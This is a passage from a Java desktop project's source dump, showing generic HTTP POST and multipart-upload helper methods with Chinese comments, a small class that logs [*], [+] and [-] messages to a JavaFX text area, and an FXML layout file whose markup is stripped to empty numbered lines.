| URLConnection conn = realUrl.openConnection(); 82 | // 设置通用的请求属性 83 | conn.setRequestProperty("accept", "*/*"); 84 | conn.setRequestProperty("connection", "Keep-Alive"); 85 | conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); 86 | conn.setRequestProperty("Cookie", cookie); 87 | // 发送POST请求必须设置如下两行 88 | conn.setDoOutput(true); 89 | conn.setDoInput(true); 90 | // 获取URLConnection对象对应的输出流 91 | out = new PrintWriter(conn.getOutputStream()); 92 | // 发送请求参数 93 | out.print(param); 94 | // flush输出流的缓冲 95 | out.flush(); 96 | // 定义BufferedReader输入流来读取URL的响应 97 | in = new BufferedReader( 98 | new InputStreamReader(conn.getInputStream())); 99 | String line; 100 | while ((line = in.readLine()) != null) { 101 | result += line + "\n"; 102 | } 103 | } catch (Exception e) { 104 | System.out.println("发送 POST 请求出现异常!" + e); 105 | e.printStackTrace(); 106 | } 107 | //使用finally块来关闭输出流、输入流 108 | finally { 109 | try { 110 | if (out != null) { 111 | out.close(); 112 | } 113 | if (in != null) { 114 | in.close(); 115 | } 116 | } catch (IOException ex) { 117 | ex.printStackTrace(); 118 | } 119 | } 120 | return result; 121 | } 122 | 123 | public static String upload(String url, HashMap files, String cookie) { 124 | try { 125 | String BOUNDARY = "---------7d4a6d158c9"; // 定义数据分隔线 126 | HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); 127 | // 发送POST请求必须设置如下两行 128 | conn.setDoOutput(true); 129 | conn.setDoInput(true); 130 | conn.setUseCaches(false); 131 | conn.setRequestMethod("POST"); 132 | conn.setRequestProperty("connection", "Keep-Alive"); 133 | conn.setRequestProperty("user-agent", 134 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"); 135 | conn.setRequestProperty("Charsert", "UTF-8"); 136 | conn.setRequestProperty("Content-Type", 137 | "multipart/form-data; boundary=" + BOUNDARY); 138 | conn.setRequestProperty("Cookie", cookie); 139 | 140 | OutputStream out = new DataOutputStream(conn.getOutputStream()); 141 | byte[] end_data = ("\r\n--" + BOUNDARY + "--\r\n").getBytes();// 定义最后数据分隔线 142 | Iterator iter = files.entrySet().iterator(); 143 | while (iter.hasNext()) { 144 | Map.Entry entry = (Map.Entry) iter.next(); 145 | String key = (String) entry.getKey(); 146 | InputStream val = (InputStream) entry.getValue(); 147 | String fname = key; 148 | File file = new File(fname); 149 | StringBuilder sb = new StringBuilder(); 150 | sb.append("--"); 151 | sb.append(BOUNDARY); 152 | sb.append("\r\n"); 153 | sb.append("Content-Disposition: form-data;name=\"file" 154 | + "\";filename=\"" + key + "\"\r\n"); 155 | sb.append("Content-Type:application/octet-stream\r\n\r\n"); 156 | 157 | byte[] data = sb.toString().getBytes(); 158 | out.write(data); 159 | DataInputStream in = new DataInputStream(val); 160 | int bytes = 0; 161 | byte[] bufferOut = new byte[1024]; 162 | while ((bytes = in.read(bufferOut)) != -1) { 163 | out.write(bufferOut, 0, bytes); 164 | } 165 | out.write("\r\n".getBytes()); // 多个文件时,二个文件之间加入这个 166 | in.close(); 167 | } 168 | out.write(end_data); 169 | out.flush(); 170 | out.close(); 171 | 172 | // 定义BufferedReader输入流来读取URL的响应 173 | BufferedReader reader = new BufferedReader(new InputStreamReader( 174 | conn.getInputStream(), "UTF-8")); 175 | String result = ""; 176 | String line; 177 | while ((line = reader.readLine()) != null) { 178 | result += line + "\n"; 179 | } 180 | return result; 181 | } catch (Exception e) { 182 | System.out.println("发送POST请求出现异常!" + e); 183 | e.printStackTrace(); 184 | return ""; 185 | } 186 | } 187 | } -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/util/ResultUtil.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.util; 2 | 3 | import com.ruoyi.global.Config; 4 | 5 | public class ResultUtil { 6 | 7 | public static void log(String str) { 8 | Config.resultText.appendText("[*] " + str + "\n"); 9 | } 10 | 11 | public static void success(String str) { 12 | Config.resultText.appendText("[+] " + str + "\n"); 13 | } 14 | 15 | public static void fail(String str) { 16 | Config.resultText.appendText("[-] " + str + "\n"); 17 | } 18 | 19 | public static void clear(){ 20 | Config.resultText.clear(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/resources/main.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 36 | 37 | 38 | 39 | 40 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 108 | 109 | 114 | 115 | 120 | 121 | 122 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 146 | 147 | 152 | 153 | 154 | 155 | 156 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | --------------------------------------------------------------------------------